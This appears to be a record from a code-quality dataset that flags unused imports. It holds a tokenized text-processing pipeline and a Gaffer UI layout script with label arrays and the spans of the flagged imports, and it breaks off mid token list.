"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tiled", "_", "=_", "tagg", "ed", "\\u", "doc_", "._", "flat", "Map_", "(_", "lambda_", "s_", ":_", "slid", "ing", "\\u", "window_", "(_", "s_", ",_", "3_", ")_", ")_", "._", "flat", "Map_", "(_", "link", "\\u", "words_", ")_", "._", "filter_", "(_", "keep", "\\u", "pair_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t0_", "=_", "tiled", "_", "._", "map_", "(_", "lambda_", "l_", ":_", "(_", "uniq", "_", "._", "value_", "[_", "l_", "[_", "0_", "]_", "[_", "\"", "stem", "\"_", "]_", "]_", ",_", "uniq", "_", "._", "value_", "[_", "l_", "[_", "1_", "]_", "[_", "\"", "stem", "\"_", "]_", "]_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "=_", "tiled", "_", "._", "map_", "(_", "lambda_", "l_", ":_", "(_", "uniq", "_", "._", "value_", "[_", "l_", "[_", "1_", "]_", "[_", "\"", "stem", "\"_", "]_", "]_", ",_", "uniq", "_", "._", "value_", "[_", "l_", "[_", "0_", "]_", "[_", "\"", "stem", "\"_", "]_", "]_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "neighbors_", "=_", "t0_", "._", "union_", "(_", "t1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "edge", "Schema_", "=_", "neighbors_", "._", "map_", "(_", "lambda_", "p_", ":_", "Row_", "(_", "n0_", "=_", "long_", "(_", "p_", "[_", "0_", "]_", ")_", ",_", "n1_", "=_", "long_", "(_", "p_", "[_", "1_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Table_", "=_", "sql", "Ctx_", "._", "infer", "Schema_", "(_", "edge", "Schema_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "edge", "Table_", "._", "register", "Temp", "Table_", "(_", "\"", "edge", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Table_", "._", "save", "As", "Par", "quet", "File_", "(_", "\"", "edge", ".", "parquet", "\"_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "pos", "\\u", "tag_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "high", "-", "perform", "anc", "e", " ", "part", "-", "of", "-", "spe", "ech", " ", "tagger", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "TAG", "GER", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "TAG", "GER", "_", "._", "tag_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wrap", "\\u", "words_", "(_", "pair_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "wrap", " ", "each", " ", "(", "word", ",", " ", "tag", ")", " ", "pair", " ", "as", " ", "an", " ", "object", " ", "with", " ", "full", "y", " ", "indexe", "d", " ", "metadata", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "STE", "MM", "ER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "pair_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "word_", ",_", "tag_", "in_", "pair_", "[_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "word_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stem_", "=_", "STE", "MM", "ER_", "._", "stem_", "(_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stem_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stem_", "=_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "keep_", "=_", "tag_", "in_", "(_", "'", "JJ", "'_", ",_", "'", "NN", "'_", ",_", "'", "NN", "S", "'_", ",_", "'", "NN", "P", "'_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "._", "append_", "(_", "{_", "\"", "id", "\"_", ":_", "0_", ",_", "\"", "index", "\"_", ":_", "index_", ",_", "\"", "stem", "\"_", ":_", "stem_", ",_", "\"", "word", "\"_", ":_", "word_", ",_", "\"", "tag", "\"_", ":_", "tag_", ",_", "\"", "keep", "\"_", ":_", "keep_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "enum", "\\u", "words_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "word_", "in_", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "id", "\\u", "words_", "(_", "pair_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "key_", ",_", "val_", ")_", "=_", "pair_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "=_", "val_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "id_", "=_", "val_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "[_", "\"", "id", "\"_", "]_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "slid", "ing", "\\u", "window_", "(_", "iterable_", ",_", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "appl", "y", " ", "a", " ", "slid", "ing", " ", "window", " ", "to", " ", "produce", " ", "'", "size", "'", " ", "tiles", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iters_", "=_", "tee", "_", "(_", "iterable_", ",_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "1_", ",_", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "each_", "in_", "iters_", "[_", "i_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next_", "(_", "each_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "list_", "(_", "izip_", "(_", "*_", "iters_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "keep", "\\u", "pair_", "(_", "pair_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "filter", " ", "the", " ", "rele", "van", "t", " ", "linked", " ", "word", " ", "pair", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "pair_", "[_", "0_", "]_", "[_", "\"", "keep", "\"_", "]_", "and_", "pair_", "[_", "1_", "]_", "[_", "\"", "keep", "\"_", "]_", "and_", "(_", "pair_", "[_", "0_", "]_", "[_", "\"", "word", "\"_", "]_", "!=_", "pair_", "[_", "1_", "]_", "[_", "\"", "word", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "link", "\\u", "words_", "(_", "seq_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "atte", "mpt", " ", "to", " ", "link", " ", "words", " ", "in", " ", "a", " ", "sentence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "(_", "seq_", "[_", "0_", "]_", ",_", "word_", ")_", "for_", "word_", "in_", "seq_", "[_", "1_", ":_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ImageEngine/gaffer/contrib/doc/GafferUserGuide/images/autoGenerated_source/interface_layouts_figBA.py
[ { "content": "import IECore\nimport Gaffer\nimport GafferUI\nimport GafferScene\nimport GafferSceneUI\nimport os,copy\n\nscriptNode = script\nscriptWindow = GafferUI.ScriptWindow.acquire( script )\nviewerA = GafferUI.Viewer( scriptNode )\nviewerB = GafferUI.Viewer( scriptNode )\nlayout = eval( \"GafferUI.CompoundEditor( scriptNode, children = ( GafferUI.SplitContainer.Orientation.Horizontal, 0.491115, ( ( GafferUI.SplitContainer.Orientation.Vertical, 0.527046, ( ( GafferUI.SplitContainer.Orientation.Vertical, 0.922460, ( ( GafferUI.SplitContainer.Orientation.Horizontal, 0.509967, ( {'tabs': (GafferUI.NodeEditor( scriptNode ),), 'tabsVisible': False, 'currentTab': 0, 'pinned': [False]}, {'tabs': (GafferUI.NodeGraph( scriptNode ),), 'tabsVisible': False, 'currentTab': 0, 'pinned': [None]} ) ), {'tabs': (GafferUI.Timeline( scriptNode ),), 'tabsVisible': False, 'currentTab': 0, 'pinned': [None]} ) ), {'tabs': (viewerA,), 'tabsVisible': True, 'currentTab': 0, 'pinned': [True]} ) ), {'tabs': (viewerB,), 'tabsVisible': True, 'currentTab': 0, 'pinned': [True]} ) ) )\" )\nscriptWindow.setLayout( layout )\nscriptWindow._Widget__qtWidget.resize(995,600)\n\nviewerB.setNodeSet( Gaffer.StandardSet( [ script[\"ImageReader\"] ] ) )\nviewerA.setNodeSet( Gaffer.StandardSet( [ script[\"SceneReader\"] ] ) )\nscript.selection().add( script.descendant( \"SceneReader\" ) )\n\nscript.context()[\"ui:scene:expandedPaths\"] = GafferScene.PathMatcherData( GafferScene.PathMatcher( ['/', '/level03_01_GRP', '/level03_01_GRP/level02_01_GRP', '/level03_01_GRP/level02_01_GRP/level01_01_GRP', '/level03_01_GRP/level02_01_GRP/level01_01_GRP/pyramid01_GEO', '/level03_01_GRP/level02_01_GRP/level01_01_GRP/pyramid02_GEO', '/level03_01_GRP/level02_01_GRP/level01_01_GRP/pyramid03_GEO', '/level03_01_GRP/level02_01_GRP/level01_01_GRP/pyramid04_GEO', '/level03_01_GRP/level02_01_GRP/level01_02_GRP', '/level03_01_GRP/level02_01_GRP/level01_02_GRP/pyramid01_GEO', '/level03_01_GRP/level02_01_GRP/level01_02_GRP/pyramid02_GEO', '/level03_01_GRP/level02_01_GRP/level01_02_GRP/pyramid03_GEO', '/level03_01_GRP/level02_01_GRP/level01_02_GRP/pyramid04_GEO', '/level03_01_GRP/level02_01_GRP/level01_03_GRP', '/level03_01_GRP/level02_01_GRP/level01_03_GRP/pyramid01_GEO', '/level03_01_GRP/level02_01_GRP/level01_03_GRP/pyramid02_GEO', '/level03_01_GRP/level02_01_GRP/level01_03_GRP/pyramid03_GEO', '/level03_01_GRP/level02_01_GRP/level01_03_GRP/pyramid04_GEO', '/level03_01_GRP/level02_01_GRP/level01_04_GRP', '/level03_01_GRP/level02_01_GRP/level01_04_GRP/pyramid01_GEO', '/level03_01_GRP/level02_01_GRP/level01_04_GRP/pyramid02_GEO', '/level03_01_GRP/level02_01_GRP/level01_04_GRP/pyramid03_GEO', '/level03_01_GRP/level02_01_GRP/level01_04_GRP/pyramid04_GEO', '/level03_01_GRP/level02_02_GRP', '/level03_01_GRP/level02_02_GRP/level01_01_GRP', '/level03_01_GRP/level02_02_GRP/level01_01_GRP/pyramid01_GEO', '/level03_01_GRP/level02_02_GRP/level01_01_GRP/pyramid02_GEO', '/level03_01_GRP/level02_02_GRP/level01_01_GRP/pyramid03_GEO', '/level03_01_GRP/level02_02_GRP/level01_01_GRP/pyramid04_GEO', '/level03_01_GRP/level02_02_GRP/level01_02_GRP', '/level03_01_GRP/level02_02_GRP/level01_02_GRP/pyramid01_GEO', '/level03_01_GRP/level02_02_GRP/level01_02_GRP/pyramid02_GEO', '/level03_01_GRP/level02_02_GRP/level01_02_GRP/pyramid03_GEO', '/level03_01_GRP/level02_02_GRP/level01_02_GRP/pyramid04_GEO', '/level03_01_GRP/level02_02_GRP/level01_03_GRP', '/level03_01_GRP/level02_02_GRP/level01_03_GRP/pyramid01_GEO', '/level03_01_GRP/level02_02_GRP/level01_03_GRP/pyramid02_GEO', '/level03_01_GRP/level02_02_GRP/level01_03_GRP/pyramid03_GEO', '/level03_01_GRP/level02_02_GRP/level01_03_GRP/pyramid04_GEO', '/level03_01_GRP/level02_02_GRP/level01_04_GRP', '/level03_01_GRP/level02_02_GRP/level01_04_GRP/pyramid01_GEO', '/level03_01_GRP/level02_02_GRP/level01_04_GRP/pyramid02_GEO', '/level03_01_GRP/level02_02_GRP/level01_04_GRP/pyramid03_GEO', '/level03_01_GRP/level02_02_GRP/level01_04_GRP/pyramid04_GEO', '/level03_01_GRP/level02_03_GRP', '/level03_01_GRP/level02_03_GRP/level01_01_GRP', '/level03_01_GRP/level02_03_GRP/level01_01_GRP/pyramid01_GEO', '/level03_01_GRP/level02_03_GRP/level01_01_GRP/pyramid02_GEO', '/level03_01_GRP/level02_03_GRP/level01_01_GRP/pyramid03_GEO', '/level03_01_GRP/level02_03_GRP/level01_01_GRP/pyramid04_GEO', '/level03_01_GRP/level02_03_GRP/level01_02_GRP', '/level03_01_GRP/level02_03_GRP/level01_02_GRP/pyramid01_GEO', '/level03_01_GRP/level02_03_GRP/level01_02_GRP/pyramid02_GEO', '/level03_01_GRP/level02_03_GRP/level01_02_GRP/pyramid03_GEO', '/level03_01_GRP/level02_03_GRP/level01_02_GRP/pyramid04_GEO', '/level03_01_GRP/level02_03_GRP/level01_03_GRP', '/level03_01_GRP/level02_03_GRP/level01_03_GRP/pyramid01_GEO', '/level03_01_GRP/level02_03_GRP/level01_03_GRP/pyramid02_GEO', '/level03_01_GRP/level02_03_GRP/level01_03_GRP/pyramid03_GEO', '/level03_01_GRP/level02_03_GRP/level01_03_GRP/pyramid04_GEO', '/level03_01_GRP/level02_03_GRP/level01_04_GRP', '/level03_01_GRP/level02_03_GRP/level01_04_GRP/pyramid01_GEO', '/level03_01_GRP/level02_03_GRP/level01_04_GRP/pyramid02_GEO', '/level03_01_GRP/level02_03_GRP/level01_04_GRP/pyramid03_GEO', '/level03_01_GRP/level02_03_GRP/level01_04_GRP/pyramid04_GEO', '/level03_01_GRP/level02_04_GRP', '/level03_01_GRP/level02_04_GRP/level01_01_GRP', '/level03_01_GRP/level02_04_GRP/level01_01_GRP/pyramid01_GEO', '/level03_01_GRP/level02_04_GRP/level01_01_GRP/pyramid02_GEO', '/level03_01_GRP/level02_04_GRP/level01_01_GRP/pyramid03_GEO', '/level03_01_GRP/level02_04_GRP/level01_01_GRP/pyramid04_GEO', '/level03_01_GRP/level02_04_GRP/level01_02_GRP', '/level03_01_GRP/level02_04_GRP/level01_02_GRP/pyramid01_GEO', '/level03_01_GRP/level02_04_GRP/level01_02_GRP/pyramid02_GEO', '/level03_01_GRP/level02_04_GRP/level01_02_GRP/pyramid03_GEO', '/level03_01_GRP/level02_04_GRP/level01_02_GRP/pyramid04_GEO', '/level03_01_GRP/level02_04_GRP/level01_03_GRP', '/level03_01_GRP/level02_04_GRP/level01_03_GRP/pyramid01_GEO', '/level03_01_GRP/level02_04_GRP/level01_03_GRP/pyramid02_GEO', '/level03_01_GRP/level02_04_GRP/level01_03_GRP/pyramid03_GEO', '/level03_01_GRP/level02_04_GRP/level01_03_GRP/pyramid04_GEO', '/level03_01_GRP/level02_04_GRP/level01_04_GRP', '/level03_01_GRP/level02_04_GRP/level01_04_GRP/pyramid01_GEO', '/level03_01_GRP/level02_04_GRP/level01_04_GRP/pyramid02_GEO', '/level03_01_GRP/level02_04_GRP/level01_04_GRP/pyramid03_GEO', '/level03_01_GRP/level02_04_GRP/level01_04_GRP/pyramid04_GEO'] ) )\nscript.context()[\"ui:scene:selectedPaths\"] = IECore.StringVectorData( [ ] )\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import GafferSceneUI", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 20 }, { "span": "import os,copy", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "IE", "Core_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "UI_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "Scene_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "Scen", "e", "UI_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", ",_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "script", "Node_", "=_", "script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "Window_", "=_", "Ga", "ffer", "UI_", "._", "Script", "Window_", "._", "acquire_", "(_", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "viewer", "A_", "=_", "Ga", "ffer", "UI_", "._", "Viewer_", "(_", "script", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "viewer", "B_", "=_", "Ga", "ffer", "UI_", "._", "Viewer_", "(_", "script", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layout_", "=_", "eval_", "(_", "\"", "Ga", "ffer", "UI", ".", "Compo", "und", "Edit", "or", "(", " ", "script", "Node", ",", " ", "child", "ren", " ", "=", " ", "(", " ", "Ga", "ffer", "UI", ".", "Split", "Containe", "r", ".", "Orient", "ation", ".", "Horiz", "onta", "l", ",", " ", "0.49", "111", "5", ",", " ", "(", " ", "(", " ", "Ga", "ffer", "UI", ".", "Split", "Containe", "r", ".", "Orient", "ation", ".", "Vertica", "l", ",", " ", "0.52", "704", "6", ",", " ", "(", " ", "(", " ", "Ga", "ffer", "UI", ".", "Split", "Containe", "r", ".", "Orient", "ation", ".", "Vertica", "l", ",", " ", "0.92", "246", "0", ",", " ", "(", " ", "(", " ", "Ga", "ffer", "UI", ".", "Split", "Containe", "r", ".", "Orient", "ation", ".", "Horiz", "onta", "l", ",", " ", "0.50", "996", "7", ",", " ", "(", " ", "{", "'", "tabs", "':", " ", "(", "Ga", "ffer", "UI", ".", "Node", "Edit", "or", "(", " ", "script", "Node", " ", "),", "),", " ", "'", "tabs", "Vis", "ibl", "e", "':", " ", "Fal", "se", ",", " ", "'", "current", "Tab", "':", " ", "0", ",", " ", "'", "pinned", "':", " ", "[", "Fal", "se", "]},", " ", "{", "'", "tabs", "':", " ", "(", "Ga", "ffer", "UI", ".", "Node", "Graph", "(", " ", "script", "Node", " ", "),", "),", " ", "'", "tabs", "Vis", "ibl", "e", "':", " ", "Fal", "se", ",", " ", "'", "current", "Tab", "':", " ", "0", ",", " ", "'", "pinned", "':", " ", "[", "Non", "e", "]}", " ", ")", " ", "),", " ", "{", "'", "tabs", "':", " ", "(", "Ga", "ffer", "UI", ".", "Time", "line", "(", " ", "script", "Node", " ", "),", "),", " ", "'", "tabs", "Vis", "ibl", "e", "':", " ", "Fal", "se", ",", " ", "'", "current", "Tab", "':", " ", "0", ",", " ", "'", "pinned", "':", " ", "[", "Non", "e", "]}", " ", ")", " ", "),", " ", "{", "'", "tabs", "':", " ", "(", "viewer", "A", ",)", ",", " ", "'", "tabs", "Vis", "ibl", "e", "':", " ", "Tru", "e", ",", " ", "'", "current", "Tab", "':", " ", "0", ",", " ", "'", "pinned", "':", " ", "[", "Tru", "e", "]}", " ", ")", " ", "),", " ", "{", "'", "tabs", "':", " ", "(", "viewer", "B", ",)", ",", " ", "'", "tabs", "Vis", "ibl", "e", "':", " ", "Tru", "e", ",", " ", "'", "current", "Tab", "':", " ", "0", ",", " ", "'", "pinned", "':", " ", "[", "Tru", "e", "]}", " ", ")", " ", ")", " ", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "Window_", "._", "set", "Layout_", "(_", "layout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "Window_", "._", "\\u", "Wid", "get", "\\u\\u", "qt", "Widget_", "._", "resize_", "(_", "995", "_", ",_", "600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "viewer", "B_", "._", "set", "Node", "Set_", "(_", "Ga", "ffer", "_", "._", "Standard", "Set_", "(_", "[_", "script_", "[_", "\"", "Image", "Read", "er", "\"_", "]_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "viewer", "A_", "._", "set", "Node", "Set_", "(_", "Ga", "ffer", "_", "._", "Standard", "Set_", "(_", "[_", "script_", "[_", "\"", "Scen", "e", "Read", "er", "\"_", "]_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script_", "._", "selection_", "(_", ")_", "._", "add_", "(_", "script_", "._", "descendant", "_", "(_", "\"", "Scen", "e", "Read", "er", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "script_", "._", "context_", "(_", ")_", "[_", "\"", "ui", ":", "scen", "e", ":", "expand", "ed", "Path", "s", "\"_", "]_", "=_", "Ga", "ffer", "Scene_", "._", "Path", "Match", "er", "Data_", "(_", "Ga", "ffer", "Scene_", "._", "Path", "Matcher_", "(_", "[_", "'/'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "01", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "02", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "03", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "01", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "02", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "03", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", "01", "\\u", "GRP", "/", "level", "01", "\\u", "04", "\\u", "GRP", "/", "pyram", "id", "04", "\\u", "GEO", "'_", ",_", "'/", "level", "03", "\\u", "01", "\\u", "GRP", "/", "level", "02", "\\u", 